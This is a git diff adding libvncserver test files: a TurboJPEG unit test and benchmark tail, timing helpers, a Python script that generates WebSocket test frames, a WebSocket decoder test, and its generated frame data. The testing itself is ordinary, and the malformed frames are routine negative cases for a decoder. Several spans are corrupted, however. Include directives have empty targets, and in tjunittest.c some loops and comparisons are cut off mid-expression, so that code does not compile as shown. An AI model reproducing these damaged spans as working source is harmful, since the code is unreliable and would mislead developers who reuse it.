ext="bmp"; + } + } + + if((sf.num!=1 || sf.denom!=1) && dotile) + { + printf("Disabling tiled compression/decompression tests, because those tests do not\n"); + printf("work when scaled decompression is enabled.\n"); + dotile=0; + } + + if(!decomponly) + { + if(loadbmp(argv[1], &srcbuf, &w, &h, bmpPF[pf], 1, + (flags&TJFLAG_BOTTOMUP)!=0)==-1) + _throwbmp("loading bitmap"); + temp=strrchr(argv[1], '.'); + if(temp!=NULL) *temp='\0'; + } + + if(quiet==1 && !decomponly) + { + printf("All performance values in Mpixels/sec\n\n"); + printf("Bitmap\tBitmap\tJPEG\tJPEG\t%s %s \tComp\tComp\tDecomp\n", + dotile? "Tile ":"Image", dotile? "Tile ":"Image"); + printf("Format\tOrder\tSubsamp\tQual\tWidth Height\tPerf \tRatio\tPerf\n\n"); + } + + if(decomponly) + { + dodecomptest(argv[1]); + printf("\n"); + goto bailout; + } + for(i=maxqual; i>=minqual; i--) + dotest(srcbuf, w, h, TJ_GRAYSCALE, i, argv[1]); + printf("\n"); + for(i=maxqual; i>=minqual; i--) + dotest(srcbuf, w, h, TJ_420, i, argv[1]); + printf("\n"); + for(i=maxqual; i>=minqual; i--) + dotest(srcbuf, w, h, TJ_422, i, argv[1]); + printf("\n"); + for(i=maxqual; i>=minqual; i--) + dotest(srcbuf, w, h, TJ_444, i, argv[1]); + printf("\n"); + + bailout: + if(srcbuf) free(srcbuf); + return retval; +} diff --git a/3rdparty/libvncserver/test/tjunittest.c b/3rdparty/libvncserver/test/tjunittest.c new file mode 100644 index 0000000..c9960eb --- /dev/null +++ b/3rdparty/libvncserver/test/tjunittest.c @@ -0,0 +1,461 @@ +/* + * Copyright (C)2009-2012 D. R. Commander. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * This program tests the various code paths in the TurboJPEG C Wrapper + */ + +#include +#include +#include +#include +#include "./tjutil.h" +#include "./turbojpeg.h" +#ifdef _WIN32 + #include + #define random() rand() +#endif + + +#define _throwtj() {printf("TurboJPEG ERROR:\n%s\n", tjGetErrorStr()); \ + bailout();} +#define _tj(f) {if((f)==-1) _throwtj();} +#define _throw(m) {printf("ERROR: %s\n", m); bailout();} + +const char *subNameLong[TJ_NUMSAMP]= +{ + "4:4:4", "4:2:2", "4:2:0", "GRAY", "4:4:0" +}; +const char *subName[TJ_NUMSAMP]={"444", "422", "420", "GRAY", "440"}; + +const char *pixFormatStr[TJ_NUMPF]= +{ + "RGB", "BGR", "RGBX", "BGRX", "XBGR", "XRGB", "Grayscale", + "RGBA", "BGRA", "ABGR", "ARGB" +}; + +const int alphaOffset[TJ_NUMPF] = {-1, -1, -1, -1, -1, -1, -1, 3, 3, 0, 0}; + +const int _3byteFormats[]={TJPF_RGB, TJPF_BGR}; +const int _4byteFormats[]={TJPF_RGBX, TJPF_BGRX, TJPF_XBGR, TJPF_XRGB}; +const int _onlyGray[]={TJPF_GRAY}; +const int _onlyRGB[]={TJPF_RGB}; + +int exitStatus=0; +#define bailout() {exitStatus=-1; goto bailout;} + + +void initBuf(unsigned char *buf, int w, int h, int pf, int flags) +{ + int roffset=tjRedOffset[pf]; + int goffset=tjGreenOffset[pf]; + int boffset=tjBlueOffset[pf]; + int ps=tjPixelSize[pf]; + int index, row, col, halfway=16; + + memset(buf, 0, w*h*ps); + if(pf==TJPF_GRAY) + { + for(row=0; row=halfway) buf[index*ps+goffset]=255; + } + } + } + } +} + + +#define checkval(v, cv) { \ + if(vcv+1) { \ + printf("\nComp. %s at %d,%d should be %d, not %d\n", \ + #v, row, col, cv, v); \ + retval=0; exitStatus=-1; goto bailout; \ + }} + +#define checkval0(v) { \ + if(v>1) { \ + printf("\nComp. %s at %d,%d should be 0, not %d\n", #v, row, col, v); \ + retval=0; exitStatus=-1; goto bailout; \ + }} + +#define checkval255(v) { \ + if(v<254) { \ + printf("\nComp. %s at %d,%d should be 255, not %d\n", #v, row, col, v); \ + retval=0; exitStatus=-1; goto bailout; \ + }} + + +int checkBuf(unsigned char *buf, int w, int h, int pf, int subsamp, + tjscalingfactor sf, int flags) +{ + int roffset=tjRedOffset[pf]; + int goffset=tjGreenOffset[pf]; + int boffset=tjBlueOffset[pf]; + int aoffset=alphaOffset[pf]; + int ps=tjPixelSize[pf]; + int index, row, col, retval=1; + int halfway=16*sf.num/sf.denom; + int blocksize=8*sf.num/sf.denom; + + for(row=0; row=0? buf[index*ps+aoffset]:0xFF; + if(((row/blocksize)+(col/blocksize))%2==0) + { + if(row %s Q%d ... ", pixFormatStr[pf], + (flags&TJFLAG_BOTTOMUP)? "Bottom-Up":"Top-Down ", subNameLong[subsamp], + jpegQual); + + if((srcBuf=(unsigned char *)malloc(w*h*tjPixelSize[pf]))==NULL) + _throw("Memory allocation failure"); + initBuf(srcBuf, w, h, pf, flags); + if(*dstBuf && *dstSize>0) memset(*dstBuf, 0, *dstSize); + + t=gettime(); + *dstSize=tjBufSize(w, h, subsamp); + _tj(tjCompress2(handle, srcBuf, w, 0, h, pf, dstBuf, dstSize, subsamp, + jpegQual, flags)); + t=gettime()-t; + + snprintf(tempStr, 1024, "%s_enc_%s_%s_%s_Q%d.jpg", basename, + pixFormatStr[pf], (flags&TJFLAG_BOTTOMUP)? "BU":"TD", subName[subsamp], + jpegQual); + writeJPEG(*dstBuf, *dstSize, tempStr); + printf("Done."); + printf(" %f ms\n Result in %s\n", t*1000., tempStr); + + bailout: + if(srcBuf) free(srcBuf); +} + + +void _decompTest(tjhandle handle, unsigned char *jpegBuf, + unsigned long jpegSize, int w, int h, int pf, char *basename, int subsamp, + int flags, tjscalingfactor sf) +{ + unsigned char *dstBuf=NULL; + int _hdrw=0, _hdrh=0, _hdrsubsamp=-1; double t; + int scaledWidth=TJSCALED(w, sf); + int scaledHeight=TJSCALED(h, sf); + unsigned long dstSize=0; + + printf("JPEG -> %s %s ", pixFormatStr[pf], + (flags&TJFLAG_BOTTOMUP)? "Bottom-Up":"Top-Down "); + if(sf.num!=1 || sf.denom!=1) + printf("%d/%d ... ", sf.num, sf.denom); + else printf("... "); + + _tj(tjDecompressHeader2(handle, jpegBuf, jpegSize, &_hdrw, &_hdrh, + &_hdrsubsamp)); + if(_hdrw!=w || _hdrh!=h || _hdrsubsamp!=subsamp) + _throw("Incorrect JPEG header"); + + dstSize=scaledWidth*scaledHeight*tjPixelSize[pf]; + if((dstBuf=(unsigned char *)malloc(dstSize))==NULL) + _throw("Memory allocation failure"); + memset(dstBuf, 0, dstSize); + + t=gettime(); + _tj(tjDecompress2(handle, jpegBuf, jpegSize, dstBuf, scaledWidth, 0, + scaledHeight, pf, flags)); + t=gettime()-t; + + if(checkBuf(dstBuf, scaledWidth, scaledHeight, pf, subsamp, sf, flags)) + printf("Passed."); + else printf("FAILED!"); + printf(" %f ms\n", t*1000.); + + bailout: + if(dstBuf) free(dstBuf); +} + + +void decompTest(tjhandle handle, unsigned char *jpegBuf, + unsigned long jpegSize, int w, int h, int pf, char *basename, int subsamp, + int flags) +{ + int i, n=0; + tjscalingfactor *sf=tjGetScalingFactors(&n), sf1={1, 1}; + if(!sf || !n) _throwtj(); + + if((subsamp==TJSAMP_444 || subsamp==TJSAMP_GRAY)) + { + for(i=0; i=TJPF_RGBX && pf<=TJPF_XRGB) + decompTest(dhandle, dstBuf, size, w, h, pf+(TJPF_RGBA-TJPF_RGBX), + basename, subsamp, flags); + } + } + + bailout: + if(chandle) tjDestroy(chandle); + if(dhandle) tjDestroy(dhandle); + + if(dstBuf) free(dstBuf); +} + + +void bufSizeTest(void) +{ + int w, h, i, subsamp; + unsigned char *srcBuf=NULL, *jpegBuf=NULL; + tjhandle handle=NULL; + unsigned long jpegSize=0; + + if((handle=tjInitCompress())==NULL) _throwtj(); + + printf("Buffer size regression test\n"); + for(subsamp=0; subsamp + +static double getfreq(void) +{ + LARGE_INTEGER freq; + if(!QueryPerformanceFrequency(&freq)) return 0.0; + return (double)freq.QuadPart; +} + +static double f=-1.0; + +double gettime(void) +{ + LARGE_INTEGER t; + if(f<0.0) f=getfreq(); + if(f==0.0) return (double)GetTickCount()/1000.; + else + { + QueryPerformanceCounter(&t); + return (double)t.QuadPart/f; + } +} + +#else + +#include +#include + +double gettime(void) +{ + struct timeval tv; + if(gettimeofday(&tv, NULL)<0) return 0.0; + else return (double)tv.tv_sec+((double)tv.tv_usec/1000000.); +} + +#endif diff --git a/3rdparty/libvncserver/test/tjutil.h b/3rdparty/libvncserver/test/tjutil.h new file mode 100644 index 0000000..bdad348 --- /dev/null +++ b/3rdparty/libvncserver/test/tjutil.h @@ -0,0 +1,47 @@ +/* + * Copyright (C)2011 D. R. Commander. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifdef _WIN32 + #ifndef __MINGW32__ + #include + #define snprintf(str, n, format, ...) \ + _snprintf_s(str, n, _TRUNCATE, format, __VA_ARGS__) + #endif + #define strcasecmp stricmp + #define strncasecmp strnicmp +#endif + +#ifndef min + #define min(a,b) ((a)<(b)?(a):(b)) +#endif + +#ifndef max + #define max(a,b) ((a)>(b)?(a):(b)) +#endif + +extern double gettime(void); diff --git a/3rdparty/libvncserver/test/wsmaketestframe.py b/3rdparty/libvncserver/test/wsmaketestframe.py new file mode 100755 index 0000000..fc03e39 --- /dev/null +++ b/3rdparty/libvncserver/test/wsmaketestframe.py @@ -0,0 +1,131 @@ +#!/usr/bin/env python3 +# Copyright (C)2017 Andreas Weigel. All Rights Reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# - Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# - Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. + +import websockets +import base64 + +''' + Create websocket frames for the wstest websocket decoding unit test. + + Generates c ws_frame_test structure definitions + included by wstest.c. +''' + + +def add_field(s, name, value, first=False): + deli = ",\n\t\t" + if first: + deli = "\t\t" + s += "{2}.{0}={1}".format(name, value, deli) + return s + + +class Testframe(): + def __init__(self, frame, descr, modify_bytes={}, experrno=0, mask=True, opcode_overwrite=False): + self.frame = frame + self.descr = descr + self.modify_bytes = modify_bytes + self.experrno = experrno + self.b64 = True if frame.opcode == 1 or opcode_overwrite == 1 else False + self.mask = mask + + def to_carray_initializer(self, buf): + values = [] + for i in range(len(buf)): + values.append("0X{0:02X}".format(buf[i])) + + if self.modify_bytes != {}: + for k in self.modify_bytes: + values[k] = "0X{0:02X}".format(self.modify_bytes[k]) + + return "{{{0}}}".format(",".join(values)) + + + def set_frame_buf(self, buf): + self.frame_carray = self.to_carray_initializer(buf) + self.framelen = len(buf) + + def __str__(self): + print("processing frame: {0}".format(self.descr)) + the_frame = self.frame + if self.b64: + olddata = self.frame.data + newdata = base64.b64encode(self.frame.data) + #print("converting\n{0}\nto{1}\n".format(olddata, newdata)) + the_frame = websockets.framing.Frame(self.frame.fin, self.frame.opcode, base64.b64encode(olddata)) + websockets.framing.write_frame(the_frame, self.set_frame_buf, self.mask) + s = "\t{\n" + s = add_field(s, "frame", "{0}".format(self.frame_carray), True) + s = add_field(s, "expectedDecodeBuf", self.to_carray_initializer(self.frame.data)) + s = add_field(s, "frame_len", self.framelen) + s = add_field(s, "raw_payload_len", len(self.frame.data)) + s = add_field(s, "expected_errno", self.experrno) + s = add_field(s, "descr", "\"{0}\"".format(self.descr)) + s = add_field(s, "i", "0") + s = add_field(s, "simulate_sock_malfunction_at", "0") + s = add_field(s, "errno_val", "0") + s = add_field(s, "close_sock_at", "0") + s += "\n\t}" + return s + +### create test frames +flist = [] +### standard text frames with different lengths +flist.append(Testframe(websockets.framing.Frame(1, 1, bytearray("Testit", encoding="utf-8")), "Short valid text frame")) +flist.append(Testframe(websockets.framing.Frame(1, 1, bytearray("Frame2 does contain much more text and even goes beyond the 126 byte len field. Frame2 does contain much more text and even goes beyond the 126 byte len field.", encoding="utf-8")), + "Mid-long valid text frame")) +#flist.append(Testframe(websockets.framing.Frame(1, 1, bytearray([(x % 26) + 65 for x in range(100000)])), "100k text frame (ABC..YZABC..)")) + +### standard binary frames with different lengths +flist.append(Testframe(websockets.framing.Frame(1, 2, bytearray("Testit", encoding="utf-8")), "Short valid binary frame")) +flist.append(Testframe(websockets.framing.Frame(1, 2, bytearray("Frame2 does contain much more text and even goes beyond the 126 byte len field. Frame2 does contain much more text and even goes beyond the 126 byte len field.", encoding="utf-8")), + "Mid-long valid binary frame")) +#flist.append(Testframe(websockets.framing.Frame(1, 2, bytearray([(x % 26) + 65 for x in range(100000)])), "100k binary frame (ABC..YZABC..)")) + +### some conn reset frames, one with no close message, one with close message +flist.append(Testframe(websockets.framing.Frame(1, 8, bytearray(list([0x03, 0xEB]))), "Close frame (Reason 1003)", experrno="ECONNRESET")) +flist.append(Testframe(websockets.framing.Frame(1, 8, bytearray(list([0x03, 0xEB])) + bytearray("I'm a close reason and much more than that!", encoding="utf-8")), "Close frame (Reason 1003) and msg", experrno="ECONNRESET")) + +### invalid header values +flist.append(Testframe(websockets.framing.Frame(1, 1, bytearray("Testit", encoding="utf-8")), "Invalid frame: Wrong masking", experrno="EPROTO", mask=False)) +flist.append(Testframe(websockets.framing.Frame(1, 1, bytearray("..Lore Ipsum", encoding="utf-8")), "Invalid frame: Length of < 126 with add. 16 bit len field", experrno="EPROTO", modify_bytes={ 1: 0xFE, 2: 0x00, 3: 0x0F})) +flist.append(Testframe(websockets.framing.Frame(1, 1, bytearray("........Lore Ipsum", encoding="utf-8")), "Invalid frame: Length of < 126 with add. 64 bit len field", experrno="EPROTO", modify_bytes={ 1: 0xFF, 2: 0x00, 3: 0x00, 4: 0x00, 5: 0x00, 6: 0x00, 7: 0x00, 8: 0x80, 9: 0x40})) + +frag1 = websockets.framing.Frame(0, 1, bytearray("This is a fragmented websocket...", encoding="utf-8")) +frag2 = websockets.framing.Frame(0, 0, bytearray("... and it goes on...", encoding="utf-8")) +frag3 = websockets.framing.Frame(1, 0, bytearray("and on and stop", encoding="utf-8")) +flist.append(Testframe(frag1, "Continuation test frag1")) +flist.append(Testframe(frag2, "Continuation test frag2", opcode_overwrite=1)) +flist.append(Testframe(frag3, "Continuation test frag3", opcode_overwrite=1)) + +s = "struct ws_frame_test tests[] = {\n" +for i in range(len(flist)): + s += flist[i].__str__() + if (i + 1 < len(flist)): + s += "," + s += "\n" +s += "};\n" + +with open("wstestdata.inc", "w") as cdatafile: + cdatafile.write(s) diff --git a/3rdparty/libvncserver/test/wstest.c b/3rdparty/libvncserver/test/wstest.c new file mode 100644 index 0000000..042b75b --- /dev/null +++ b/3rdparty/libvncserver/test/wstest.c @@ -0,0 +1,206 @@ +/* + * Copyright (C)2017 Andreas Weigel. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _WIN32 + +#include +#include +#include +#include +#include +#include +#include + +/* incoming data frames should not be larger than that */ +#define TEST_BUF_SIZE B64LEN(131072) + WSHLENMAX + +/* seed is fixed deliberately to get reproducible test cases */ +#define RND_SEED 100 + +enum { + OK, + FAIL_DATA, + FAIL_ERRNO, + FAIL_CLOSED, +}; + +const char *result_descr[] = { + "", + "Data buffers do not match", + "Wrong errno", + "Wrongly reported closed socket", + "Internal test error" +}; + +struct ws_frame_test { + char frame[TEST_BUF_SIZE]; + char *pos; + char expectedDecodeBuf[TEST_BUF_SIZE]; + uint64_t n_compare; + uint64_t frame_len; + uint64_t raw_payload_len; + int expected_errno; + const char *descr; + int ret_bytes[16]; + int ret_bytes_len; + int i; + int simulate_sock_malfunction_at; + int errno_val; + int close_sock_at; +}; + +#include "wstestdata.inc" + +char el_log[1000000]; +char *el_pos; + +static void logtest(const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + size_t left = el_log + sizeof(el_log) - el_pos; + size_t off = vsnprintf(el_pos, left, fmt, args); + el_pos += off; + va_end(args); +} + +static int emu_read(void *ctx, char *dst, size_t len); + +static int emu_read(void *ctx, char *dst, size_t len) +{ + struct ws_frame_test *ft = (struct ws_frame_test *)ctx; + ssize_t nret; + int r; + ssize_t modu; + + rfbLog("emu_read called with dst=%p and len=%lu\n", dst, len); + if (ft->simulate_sock_malfunction_at > 0 && ft->simulate_sock_malfunction_at == ft->i) { + rfbLog("simulating IO error with errno=%d\n", ft->errno_val); + errno = ft->errno_val; + return -1; + } + + /* return something */ + r = rand(); + modu = (ft->frame + ft->frame_len) - ft->pos; + rfbLog("r=%d modu=%ld frame=%p pos=%p\n", r, modu, ft->frame, ft->pos); + nret = (r % modu) + 1; + nret = nret > len ? len : nret; + + rfbLog("copy and return %ld bytes\n", nret); + memcpy(dst, ft->pos, nret); + ft->pos += nret; + rfbLog("leaving %s; pos=%p framebuf=%p nret=%ld\n", __func__, ft->pos, ft->frame, nret); + return nret; +} + +static uint64_t run_test(struct ws_frame_test *ft, ws_ctx_t *ctx) +{ + uint64_t nleft = ft->raw_payload_len; + char dstbuf[ft->raw_payload_len]; + char *dst = dstbuf; + ssize_t n; + + ft->pos = ft->frame; + + ctx->ctxInfo.ctxPtr = (void *)ft; + + while (nleft > 0) { + rfbLog("calling ws_decode with dst=%p, len=%lu\n", dst, nleft); + n = ctx->decode(ctx, dst, nleft); + rfbLog("read n=%ld\n", n); + if (n == 0) { + if (ft->close_sock_at > 0) { + return OK; + } else { + return FAIL_CLOSED; + } + } else if (n < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) { + /* ok, just call again */ + } else { + if (ft->expected_errno == errno) { + rfbLog("errno=%d as expected\n", errno); + return OK; + } else { + rfbLog("errno=%d != expected(%d)\n", errno, ft->expected_errno); + return FAIL_ERRNO; + } + } + } else { + nleft -= n; + dst += n; + rfbLog("read n=%ld from decode; dst=%p, nleft=%lu\n", n, dst, nleft); + } + } + + if (memcmp(ft->expectedDecodeBuf, dstbuf, ft->raw_payload_len) != 0) { + ft->expectedDecodeBuf[ft->raw_payload_len] = '\0'; + dstbuf[ft->raw_payload_len] = '\0'; + rfbLog("decoded result not equal:\nexpected:\n%s\ngot\n%s\n\n", ft->expectedDecodeBuf, dstbuf); + return FAIL_DATA; + } + + return OK; +} + + +int main() +{ + ws_ctx_t ctx; + int retall= 0; + int i; + srand(RND_SEED); + + hybiDecodeCleanupComplete(&ctx); + ctx.decode = webSocketsDecodeHybi; + ctx.ctxInfo.readFunc = emu_read; + rfbLog = logtest; + rfbErr = logtest; + + for (i = 0; i < ARRAYSIZE(tests); i++) { + int ret; + + /* reset output log buffer to begin */ + el_pos = el_log; + + ret = run_test(&tests[i], &ctx); + printf("%s: \"%s\"\n", ret == 0 ? "PASS" : "FAIL", tests[i].descr); + if (ret != 0) { + *el_pos = '\0'; + printf("%s", el_log); + retall = -1; + } + } + return retall; +} + +#else + +int main() { + return 0; +} + +#endif diff --git a/3rdparty/libvncserver/test/wstestdata.inc b/3rdparty/libvncserver/test/wstestdata.inc new file mode 100644 index 0000000..595b891 --- /dev/null +++ b/3rdparty/libvncserver/test/wstestdata.inc @@ -0,0 +1,146 @@ +struct ws_frame_test tests[] = { + { + .frame={0X81,0X88,0X2F,0X2A,0X17,0X41,0X79,0X6D,0X41,0X3B,0X4B,0X6D,0X7B,0X71}, + .expectedDecodeBuf={0X54,0X65,0X73,0X74,0X69,0X74}, + .frame_len=14, + .raw_payload_len=6, + .expected_errno=0, + .descr="Short valid text frame", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X81,0XFE,0X00,0XD4,0X66,0X27,0XE5,0X24,0X34,0X49,0XAF,0X4C,0X04,0X70,0XB0,0X5D,0X2F,0X60,0XB7,0X52,0X3C,0X7F,0XA8,0X43,0X3F,0X15,0XDC,0X51,0X02,0X60,0XA3,0X54,0X04,0X4E,0XA7,0X50,0X02,0X70,0XAB,0X4B,0X2F,0X60,0XD4,0X52,0X05,0X4A,0XB0,0X43,0X02,0X60,0XB3,0X10,0X02,0X64,0XA7,0X4C,0X04,0X4A,0XB4,0X43,0X3C,0X7F,0XBF,0X48,0X04,0X4E,0XA7,0X4A,0X04,0X15,0XB3,0X5E,0X2F,0X60,0XAF,0X48,0X03,0X70,0XDC,0X51,0X3C,0X64,0XA7,0X14,0X07,0X60,0XB0,0X43,0X2B,0X73,0XAC,0X16,0X2F,0X60,0XAF,0X11,0X02,0X60,0XB0,0X43,0X04,0X60,0XB3,0X51,0X2F,0X60,0XBF,0X54,0X3C,0X70,0X9D,0X4F,0X2A,0X4E,0XA7,0X63,0X05,0X4A,0XA3,0X50,0X3C,0X73,0XAC,0X43,0X3C,0X60,0XDC,0X48,0X05,0X5E,0XA7,0X4E,0X04,0X15,0XD0,0X14,0X3F,0X70,0X89,0X51,0X2F,0X60,0XD4,0X15,0X3F,0X15,0X82,0X43,0X04,0X70,0XDC,0X5D,0X3C,0X74,0XA7,0X14,0X3C,0X7F,0X8D,0X14,0X2F,0X60,0XA3,0X51,0X3C,0X64,0XA7,0X48,0X02,0X4A,0XB3,0X51,0X2F,0X60,0X81,0X52,0X3C,0X7F,0XA8,0X43,0X3F,0X4A,0XB3,0X11,0X04,0X15,0XD0,0X4F,0X2F,0X6F,0XB7,0X4B,0X3C,0X74,0XA4,0X5C,0X2B,0X4D,0XBC,0X43,0X3F,0X49,0X89,0X14,0X3C,0X74,0XA7,0X57,0X3C,0X70,0XD1,0X43,0X3C,0X4A,0X89,0X48,0X04,0X60,0XB4,0X51}, + .expectedDecodeBuf={0X46,0X72,0X61,0X6D,0X65,0X32,0X20,0X64,0X6F,0X65,0X73,0X20,0X63,0X6F,0X6E,0X74,0X61,0X69,0X6E,0X20,0X6D,0X75,0X63,0X68,0X20,0X6D,0X6F,0X72,0X65,0X20,0X74,0X65,0X78,0X74,0X20,0X61,0X6E,0X64,0X20,0X65,0X76,0X65,0X6E,0X20,0X67,0X6F,0X65,0X73,0X20,0X62,0X65,0X79,0X6F,0X6E,0X64,0X20,0X74,0X68,0X65,0X20,0X31,0X32,0X36,0X20,0X62,0X79,0X74,0X65,0X20,0X6C,0X65,0X6E,0X20,0X66,0X69,0X65,0X6C,0X64,0X2E,0X20,0X46,0X72,0X61,0X6D,0X65,0X32,0X20,0X64,0X6F,0X65,0X73,0X20,0X63,0X6F,0X6E,0X74,0X61,0X69,0X6E,0X20,0X6D,0X75,0X63,0X68,0X20,0X6D,0X6F,0X72,0X65,0X20,0X74,0X65,0X78,0X74,0X20,0X61,0X6E,0X64,0X20,0X65,0X76,0X65,0X6E,0X20,0X67,0X6F,0X65,0X73,0X20,0X62,0X65,0X79,0X6F,0X6E,0X64,0X20,0X74,0X68,0X65,0X20,0X31,0X32,0X36,0X20,0X62,0X79,0X74,0X65,0X20,0X6C,0X65,0X6E,0X20,0X66,0X69,0X65,0X6C,0X64,0X2E}, + .frame_len=220, + .raw_payload_len=159, + .expected_errno=0, + .descr="Mid-long valid text frame", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + .frame={0X82,0X86,0XDD,0X9B,0XD8,0X56,0X89,0XFE,0XAB,0X22,0XB4,0XEF}, + .expectedDecodeBuf={0X54,0X65,0X73,0X74,0X69,0X74}, + .frame_len=12, + .raw_payload_len=6, + .expected_errno=0, + .descr="Short valid binary frame", + .i=0, + .simulate_sock_malfunction_at=0, + .errno_val=0, + .close_sock_at=0 + }, + { + 